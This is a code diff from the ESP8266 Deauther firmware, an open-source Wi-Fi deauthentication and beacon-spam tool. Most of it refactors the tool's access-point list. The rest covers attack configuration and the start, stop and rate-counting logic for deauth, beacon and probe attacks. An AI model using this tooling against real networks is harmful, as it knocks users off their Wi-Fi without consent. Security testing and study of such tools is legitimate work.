#define DEAUTHS_PER_TARGET 25
|
||||
#define DEAUTH_REASON 1
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
|
||||
// ====== SNIFFER ====== //
|
||||
#define CH_TIME 200
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#define AP_SSID "pwned"
|
||||
#define AP_PASSWD "deauther"
|
||||
#define AP_HIDDEN false
|
||||
#define AP_IP_ADDR {192, 168, 4, 1}
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#define WEB_ENABLED true
|
||||
#define WEB_CAPTIVE_PORTAL false
|
||||
#define WEB_USE_SPIFFS false
|
||||
#define DEFAULT_LANG "en"
|
||||
|
||||
// ===== CLI ===== //
|
||||
#define CLI_ENABLED true
|
||||
#define CLI_ECHO true
|
||||
|
||||
// ===== LED ===== //
|
||||
#define USE_LED true
|
||||
#define LED_DIGITAL
|
||||
#define LED_RGB
|
||||
#define LED_NEOPIXEL
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_ANODE false
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_G 255
|
||||
#define LED_PIN_B 2
|
||||
|
||||
#define LED_NEOPIXEL_RGB
|
||||
#define LED_NEOPIXEL_GRB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 255
|
||||
|
||||
#define LED_MODE_OFF 0,0,0
|
||||
#define LED_MODE_SCAN 0,0,255
|
||||
#define LED_MODE_ATTACK 255,0,0
|
||||
#define LED_MODE_IDLE 0,255,0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_MY92_DATA 4
|
||||
#define LED_MY92_CLK 5
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9231
|
||||
|
||||
#define LED_DOTSTAR
|
||||
#define LED_NUM 1
|
||||
#define LED_DOTSTAR_CLK 12
|
||||
#define LED_DOTSTAR_DATA 13
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define USE_DISPLAY false
|
||||
#define DISPLAY_TIMEOUT 600
|
||||
#define FLIP_DIPLAY false
|
||||
|
||||
#define SSD1306_I2C
|
||||
#define SSD1306_SPI
|
||||
#define SH1106_I2C
|
||||
#define SH1106_SPI
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 5
|
||||
#define I2C_SCL 4
|
||||
|
||||
#define SPI_RES 5
|
||||
#define SPI_DC 4
|
||||
#define SPI_CS 15
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 255
|
||||
#define BUTTON_DOWN 255
|
||||
#define BUTTON_A 255
|
||||
#define BUTTON_B 255
|
||||
|
||||
// ===== Reset ====== //
|
||||
#define RESET_BUTTON 5
|
||||
|
||||
|
||||
// ===== Web ===== //
|
||||
#define WEB_IP_ADDR (192, 168, 4, 1)
|
||||
#define WEB_URL "deauth.me"
|
||||
|
||||
*/
|
||||
|
||||
|
||||
// ========== ERROR CHECKS ========== //
|
||||
#if LED_MODE_BRIGHTNESS == 0
|
||||
#error LED_MODE_BRIGHTNESS must not be zero!
|
||||
#endif /* if LED_MODE_BRIGHTNESS == 0 */
|
|
@ -1,371 +1,314 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Accesspoints.h"
|
||||
|
||||
Accesspoints::Accesspoints() {
|
||||
|
||||
list = new SimpleList<AP>;
|
||||
}
|
||||
|
||||
void Accesspoints::sort() {
|
||||
// bubble sort because I was lazy
|
||||
|
||||
AP* aAP; // prev
|
||||
AP* bAP; // to compare with c
|
||||
AP* cAP; // to compare with b
|
||||
AP* dAP; // next
|
||||
int c = listSize;
|
||||
while(c--){
|
||||
for(int i = 1; i <= c; i++){
|
||||
aAP = getAP(i-2); // prev
|
||||
bAP = aAP ? aAP->next : getAP(i-1); // to be compared
|
||||
cAP = bAP ? bAP->next : getAP(i); // to be compared
|
||||
dAP = cAP ? cAP->next : getAP(i+1); // next
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
||||
|
||||
// a -> b -> c -> d
|
||||
|
||||
if(WiFi.RSSI(bAP->id) < WiFi.RSSI(cAP->id)) {
|
||||
// a -> b <-> c
|
||||
cAP->next = bAP;
|
||||
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
||||
|
||||
// a -> b -> d
|
||||
if(dAP){
|
||||
bAP->next = dAP;
|
||||
} else {
|
||||
bAP->next = NULL;
|
||||
listEnd = bAP;
|
||||
}
|
||||
|
||||
// a -> c -> b -> d
|
||||
if(aAP)
|
||||
aAP->next = cAP;
|
||||
else
|
||||
listBegin = cAP;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::sortAfterChannel() {
|
||||
AP* aAP;
|
||||
AP* bAP;
|
||||
AP* cAP;
|
||||
AP* dAP;
|
||||
int c = listSize;
|
||||
while(c--){
|
||||
for(int i = 1; i <= c; i++){
|
||||
aAP = getAP(i-2);
|
||||
bAP = aAP ? aAP->next : getAP(i-1);
|
||||
cAP = bAP ? bAP->next : getAP(i);
|
||||
dAP = cAP ? cAP->next : getAP(i+1);
|
||||
if(WiFi.channel(bAP->id) > WiFi.channel(cAP->id)) {
|
||||
cAP->next = bAP;
|
||||
|
||||
if(dAP){
|
||||
bAP->next = dAP;
|
||||
} else {
|
||||
bAP->next = NULL;
|
||||
listEnd = bAP;
|
||||
}
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
||||
|
||||
if(aAP) aAP->next = cAP;
|
||||
else listBegin = cAP;
|
||||
}
|
||||
}
|
||||
}
|
||||
changed = true;
|
||||
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::add(uint8_t id, bool selected) {
|
||||
if(!listEnd){
|
||||
listEnd = new AP{id, selected};
|
||||
} else {
|
||||
listEnd->next = new AP{id, selected};
|
||||
listEnd = listEnd->next;
|
||||
}
|
||||
|
||||
if(!listBegin)
|
||||
listBegin = listEnd;
|
||||
|
||||
listSize++;
|
||||
changed = true;
|
||||
list->add(AP{ id, selected });
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::printAll() {
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
if (c == 0)
|
||||
prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++)
|
||||
print(i, i == 0, i == c - 1);
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Accesspoints::printSelected() {
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
for (int i = 0, j = 0; i < c, j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num) {
|
||||
print(num, true, true);
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
prnt(buildString(String(),(String)num, 2));
|
||||
prnt(buildString(String(SPACE) + getSSID(num), String(), 33));
|
||||
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(buildString(String(SPACE), (String)getRSSI(num), 5));
|
||||
prnt(buildString(String(SPACE), getEncStr(num), 5));
|
||||
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) {
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) {
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getSSID(int num) {
|
||||
if (!check(num)) return String();
|
||||
if (getHidden(num)){
|
||||
return str(AP_HIDDEN);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0,32);
|
||||
ssid = fixUtf8(ssid);
|
||||
return ssid;
|
||||
}
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDE_SSID);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0, 32);
|
||||
ssid = fixUtf8(ssid);
|
||||
return ssid;
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
return names.find(getMac(num));
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
return WiFi.channel(getID(num));
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.channel(getID(num));
|
||||
}
|
||||
|
||||
int Accesspoints::getRSSI(int num) {
|
||||
if (!check(num)) return 0;
|
||||
return WiFi.RSSI(getID(num));
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.RSSI(getID(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getEnc(int num) {
|
||||
if (!check(num)) return 0;
|
||||
return WiFi.encryptionType(getID(num));
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.encryptionType(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getEncStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
break;
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
break;
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
break;
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
break;
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
}
|
||||
|
||||
String Accesspoints::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t* Accesspoints::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
return WiFi.BSSID(getID(num));
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
uint8_t* mac = getMac(num);
|
||||
String value;
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
}
|
||||
return value;
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Accesspoints::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
return searchVendor(getMac(num));
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(getMac(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getHidden(int num) {
|
||||
if (!check(num)) return false;
|
||||
return WiFi.isHidden(getID(num));
|
||||
if (!check(num)) return false;
|
||||
|
||||
return WiFi.isHidden(getID(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
return getAP(num)->selected;
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
int Accesspoints::getID(int num){
|
||||
if (!check(num)) return -1;
|
||||
return getAP(num)->id;
|
||||
uint8_t Accesspoints::getID(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return list->get(num).id;
|
||||
}
|
||||
|
||||
void Accesspoints::select(int num) {
|
||||
if (!check(num)) return;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
|
||||
prnt(AP_SELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
internal_select(num);
|
||||
|
||||
prnt(AP_SELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
|
||||
prnt(AP_DESELECTED);
|
||||
prntln(getSSID(num));
|
||||
internal_deselect(num);
|
||||
|
||||
changed = true;
|
||||
prnt(AP_DESELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(AP_REMOVED);
|
||||
prntln(getSSID(num));
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
|
||||
changed = true;
|
||||
prnt(AP_REMOVED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
internal_remove(num);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::selectAll() {
|
||||
int i = 0;
|
||||
AP* hAP = listBegin;
|
||||
while(i < listSize){
|
||||
hAP->selected = true;
|
||||
hAP = hAP->next;
|
||||
i++;
|
||||
}
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselectAll() {
|
||||
int i = 0;
|
||||
AP* hAP = listBegin;
|
||||
while(i < listSize){
|
||||
hAP->selected = false;
|
||||
hAP = hAP->next;
|
||||
i++;
|
||||
}
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::removeAll() {
|
||||
while(listSize > 0){
|
||||
internal_remove(0);
|
||||
}
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
while (count() > 0) internal_remove(0);
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Accesspoints::find(uint8_t id) {
|
||||
int s = list->size();
|
||||
|
||||
for (int i = 0; i < s; i++) {
|
||||
if (list->get(i).id == id) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int Accesspoints::count() {
|
||||
return listSize;
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Accesspoints::selected() {
|
||||
int num = 0;
|
||||
int i = 0;
|
||||
AP* hAP = listBegin;
|
||||
while(i < listSize){
|
||||
num += hAP->selected;
|
||||
hAP = hAP->next;
|
||||
i++;
|
||||
}
|
||||
return num;
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||
return c;
|
||||
}
|
||||
|
||||
bool Accesspoints::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
}
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
AP* Accesspoints::getAP(int num){
|
||||
if(num < 0 || num >= listSize) return NULL;
|
||||
|
||||
AP* hAP = listBegin;
|
||||
int i = 0;
|
||||
while(hAP->next && i < num){
|
||||
hAP = hAP->next;
|
||||
i++;
|
||||
}
|
||||
|
||||
return hAP;
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Accesspoints::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Accesspoints::internal_select(int num) {
|
||||
getAP(num)->selected = true;
|
||||
list->replace(num, AP{ list->get(num).id, true });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_deselect(int num) {
|
||||
getAP(num)->selected = false;
|
||||
list->replace(num, AP{ list->get(num).id, false });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_remove(int num) {
|
||||
AP* aAP = getAP(num-1); // prev
|
||||
AP* bAP = aAP ? aAP->next : getAP(num); // to-delete
|
||||
AP* cAP = bAP ? bAP->next : getAP(num+1); // next
|
||||
|
||||
if(aAP && cAP) { // a -> b -> c = a -> c
|
||||
aAP->next = cAP; //
|
||||
} else if(aAP) { // a -> b = a
|
||||
aAP->next = NULL;
|
||||
listEnd = aAP;
|
||||
} else if(cAP) { // b -> c = c
|
||||
listBegin = cAP;
|
||||
} else { // b = EMPTY
|
||||
listBegin = NULL;
|
||||
listEnd = NULL;
|
||||
}
|
||||
|
||||
free(bAP);
|
||||
|
||||
listSize--;
|
||||
}
|
||||
|
||||
list->remove(num);
|
||||
}
|
|
@ -1,77 +1,80 @@
|
|||
#ifndef Accesspoints_h
|
||||
#define Accesspoints_h
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include "Names.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
|
||||
extern Names names;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String buildString(String left, String right, int maxLen);
|
||||
String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String fixUtf8(String str);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
struct AP{
|
||||
uint8_t id;
|
||||
bool selected;
|
||||
AP* next;
|
||||
struct AP {
|
||||
uint8_t id;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
class Accesspoints {
|
||||
public:
|
||||
Accesspoints();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void add(uint8_t id, bool selected);
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
public:
|
||||
Accesspoints();
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
String getSSID(int num);
|
||||
String getNameStr(int num);
|
||||
String getEncStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getEnc(int num);
|
||||
int getID(int num);
|
||||
int getRSSI(int num);
|
||||
uint8_t* getMac(int num);
|
||||
bool getHidden(int num);
|
||||
bool getSelected(int num);
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
void add(uint8_t id, bool selected);
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
private:
|
||||
AP* listBegin = NULL;
|
||||
AP* listEnd = NULL;
|
||||
int listSize = 0;
|
||||
//LinkedList<AP>* listA;
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
|
||||
AP* getAP(int num);
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_remove(int num);
|
||||
};
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
#endif
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
String getSSID(int num);
|
||||
String getNameStr(int num);
|
||||
String getEncStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getEnc(int num);
|
||||
uint8_t getID(int num);
|
||||
int getRSSI(int num);
|
||||
uint8_t* getMac(int num);
|
||||
bool getHidden(int num);
|
||||
bool getSelected(int num);
|
||||
|
||||
|
||||
int find(uint8_t id);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
SimpleList<AP>* list;
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_remove(int num);
|
||||
};
|
|
@ -1,416 +1,473 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Attack.h"
|
||||
|
||||
#include "settings.h"
|
||||
|
||||
Attack::Attack() {
|
||||
getRandomMac(mac);
|
||||
getRandomMac(mac);
|
||||
|
||||
if (settings.getBeaconInterval()) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
} else {
|
||||
// 100ms beacon interval
|
||||
beaconPacket[32] = 0x64;
|
||||
beaconPacket[33] = 0x00;
|
||||
}
|
||||
if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
} else {
|
||||
// 100ms beacon interval
|
||||
beaconPacket[32] = 0x64;
|
||||
beaconPacket[33] = 0x00;
|
||||
}
|
||||
|
||||
deauth.time = currentTime;
|
||||
beacon.time = currentTime;
|
||||
probe.time = currentTime;
|
||||
deauth.time = currentTime;
|
||||
beacon.time = currentTime;
|
||||
probe.time = currentTime;
|
||||
}
|
||||
|
||||
void Attack::start() {
|
||||
stop();
|
||||
prntln(A_START);
|
||||
attackTime = currentTime;
|
||||
attackStartTime = currentTime;
|
||||
accesspoints.sortAfterChannel();
|
||||
stations.sortAfterChannel();
|
||||
running = true;
|
||||
stop();
|
||||
prntln(A_START);
|
||||
attackTime = currentTime;
|
||||
attackStartTime = currentTime;
|
||||
accesspoints.sortAfterChannel();
|
||||
stations.sortAfterChannel();
|
||||
running = true;
|
||||
}
|
||||
|
||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||
Attack::beacon.active = beacon;
|
||||
Attack::deauth.active = deauth || deauthAll;
|
||||
Attack::deauthAll = deauthAll;
|
||||
Attack::probe.active = probe;
|
||||
Attack::beacon.active = beacon;
|
||||
Attack::deauth.active = deauth || deauthAll;
|
||||
Attack::deauthAll = deauthAll;
|
||||
Attack::probe.active = probe;
|
||||
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
|
||||
//if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth) {
|
||||
start();
|
||||
} else {
|
||||
prntln(A_NO_MODE_ERROR);
|
||||
accesspoints.sort();
|
||||
stations.sort();
|
||||
stop();
|
||||
}
|
||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||
// scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth) {
|
||||
start();
|
||||
} else {
|
||||
prntln(A_NO_MODE_ERROR);
|
||||
accesspoints.sort();
|
||||
stations.sort();
|
||||
stop();
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::stop() {
|
||||
if (running) {
|
||||
running = false;
|
||||
deauthPkts = 0;
|
||||
beaconPkts = 0;
|
||||
probePkts = 0;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.maxPkts = 0;
|
||||
beacon.maxPkts = 0;
|
||||
probe.maxPkts = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
prntln(A_STOP);
|
||||
}
|
||||
if (running) {
|
||||
running = false;
|
||||
deauthPkts = 0;
|
||||
beaconPkts = 0;
|
||||
probePkts = 0;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.maxPkts = 0;
|
||||
beacon.maxPkts = 0;
|
||||
probe.maxPkts = 0;
|
||||
packetRate = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
deauth.active = false;
|
||||
beacon.active = false;
|
||||
probe.active = false;
|
||||
prntln(A_STOP);
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::isRunning() {
|
||||
return running;
|
||||
return running;
|
||||
}
|
||||
|
||||
void Attack::updateCounter() {
|
||||
// stop when timeout is active and time is up
|
||||
if (timeout > 0 && currentTime - attackStartTime >= timeout) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
// stop when timeout is active and time is up
|
||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * (scan.countAll() - names.selected());
|
||||
else deauth.maxPkts = settings.getDeauthsPerTarget() * scan.countSelected();
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
